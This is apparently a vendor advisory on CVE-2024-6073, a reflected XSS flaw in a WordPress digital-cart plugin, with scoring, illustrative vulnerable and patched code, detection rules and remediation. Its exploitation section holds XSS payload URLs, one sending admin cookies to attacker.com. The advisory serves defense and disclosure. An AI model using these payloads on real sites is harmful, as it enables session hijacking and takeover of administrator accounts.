CVE-2024-6073

Executive Summary

CVE-2024-6073 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the WordPress plugin wp-cart-for-digital-products (versions prior to 8.5.5). The plugin fails to properly sanitize and escape a parameter before reflecting it back in the page, allowing an attacker to inject arbitrary JavaScript. This flaw is particularly dangerous as it can be leveraged against high-privilege users, such as administrators, potentially leading to session hijacking, credential theft, or unauthorized actions within the WordPress admin panel.

Supply Chain & Package Security

This vulnerability resides within the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users who have installed the plugin from this directory are affected. There is no known compromise of the plugin’s source code repository or supply chain; the vulnerability is a code-level flaw in the plugin’s input handling.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact on resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can be exploited remotely without authentication. The primary risk is to high-privilege users, making it a valuable vector for privilege escalation or lateral movement within a compromised WordPress site.

Deep Dive & Mechanics

The vulnerability exists in the wp-cart-for-digital-products plugin, specifically in a parameter that is not sanitized or escaped before being output in the HTML response. The plugin likely uses $_GET or $_POST data directly in a template or echo statement without applying WordPress’s built-in escaping functions like esc_html() or esc_attr().

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in the vulnerable parameter.
2. The attacker sends this URL to a high-privilege user (e.g., via email, social engineering, or a compromised site).
3. The victim clicks the link while authenticated to the WordPress admin.
4. The plugin reflects the unsanitized payload in the page, causing the browser to execute the attacker’s JavaScript.
5. The script can then perform actions such as stealing session cookies, creating new admin users, or modifying site content.

Root Cause: Lack of output escaping on a reflected parameter. The plugin developer did not use esc_html() or wp_kses_post() when outputting user-supplied data.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-8.5.5):

// Example vulnerable snippet
echo '<div class="message">' . $_GET['msg'] . '</div>';

Patched Code (8.5.5+):

// Patched snippet using WordPress escaping
echo '<div class="message">' . esc_html( $_GET['msg'] ) . '</div>';

The patch applies esc_html() to the parameter before output, which converts HTML special characters to their entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with wp-cart-for-digital-products < 8.5.5.
• A high-privilege user (admin) who is logged in.

Exploit Payload:

http://target.com/wp-admin/admin.php?page=wp-cart-for-digital-products&msg=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

http://target.com/wp-admin/admin.php?page=wp-cart-for-digital-products&msg=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Steps:

1. Identify the vulnerable parameter (e.g., msg).
2. Craft a URL with a JavaScript payload.
3. Deliver the URL to the victim via phishing or social engineering.
4. Upon click, the script executes in the victim’s session.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing <script> tags or suspicious parameters in the plugin’s admin page.
• Use WAF rules to block reflected XSS patterns.

Defense:

• Immediately upgrade the plugin to version 8.5.5 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Educate users about phishing attacks and suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin.php?page=wp-cart-for-digital-products&msg= containing <script> tags or base64-encoded JavaScript.
  • Outbound connections to attacker-controlled domains from the WordPress admin panel.

• Host IOCs:

  • Unexpected admin user creation.
  • Modified plugin files (check file integrity).
  • Suspicious entries in WordPress wp_options table (e.g., malicious scripts in site options).

• Log IOCs:

  • Web server logs showing msg parameter with HTML/JavaScript content.
  • WordPress debug logs indicating unescaped output.

Detection Engineering

YARA Rule

rule CVE_2024_6073_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against wp-cart-for-digital-products"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-6073"
    strings:
        $param = "page=wp-cart-for-digital-products"
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/i
        $xss3 = /javascript\s*:/i
    condition:
        $param and any of ($xss*)
}

Sigma Rule

title: Reflected XSS Attempt Against wp-cart-for-digital-products
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests containing XSS payloads in the wp-cart-for-digital-products plugin admin page.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=wp-cart-for-digital-products'
        cs-uri-query|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin pages (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6073 Reflected XSS Attempt"; flow:to_server,established; content:"page=wp-cart-for-digital-products"; http_uri; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update the plugin to version 8.5.5 or later from the WordPress Plugin Directory.
2. WAF Rules: Deploy Web Application Firewall rules to block requests containing XSS patterns in the vulnerable parameter.
3. CSP Header: Add a Content Security Policy header that restricts script execution to trusted sources only.

Long-Term Measures:

• Conduct regular security audits of all WordPress plugins.
• Implement input validation and output escaping in custom code.
• Use a WordPress security plugin that monitors file integrity and detects anomalies.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For further analysis or incident response support, contact us at [valters@example.com].